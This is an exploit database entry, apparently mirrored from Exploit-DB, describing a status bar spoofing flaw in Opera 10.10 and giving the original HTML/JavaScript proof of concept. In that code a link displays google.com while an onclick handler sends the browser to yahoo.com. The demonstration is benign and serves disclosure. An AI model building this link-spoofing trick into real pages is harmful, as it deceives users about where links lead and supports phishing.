Opera 10.10 Status Bar Obfuscation

vendor:

Opera

by:

599eme Man

3.3

CVSS

MEDIUM

Status Bar Obfuscation

CWE

Product Name: Opera

Affected Version From: Opera 10.10

Affected Version To: Opera 10.10

Patch Exists: NO

Related CWE: N/A

CPE: o:opera_software:opera

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows, Linux, Mac

2010

Opera 10.10 Status Bar Obfuscation

This exploit is related to the Opera 10.10 browser. When a user clicks on a link, the status bar displays the URL of the link, but the user is redirected to a different URL. This is a form of obfuscation, as the user is not aware of the actual URL they are being redirected to.

Mitigation:

Users should be aware of the potential for malicious links and should not click on links from untrusted sources.

Source

Exploit-DB raw data:

<!-- 

Opera 10.10 Status Bar Obfuscation
Author : 599eme Man
Contact : flouf@live.fr

-->
<center><h1>Opera 10.10 Status Bar Obfuscation</h1>
<br>
<strong>Author : 599eme Man.<br >
Contact : flouf@live.fr</strong><br >
_______________________________________________________________________
<br>
<br>
<br>

Click on google (look the Status bar) and you'll be redirect on Yahoo<br><strong><h1><a onclick="javascript:OB();" href="http://www.Google.com">http://www.Google.com</a></h1></strong></center>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
                           <font style="font-family:arial;font-size:32px">Look Here<br>
                   | <br>
                  V

<script>

function OB() {

document.write('');
document.location='http://yahoo.com';

}

</script>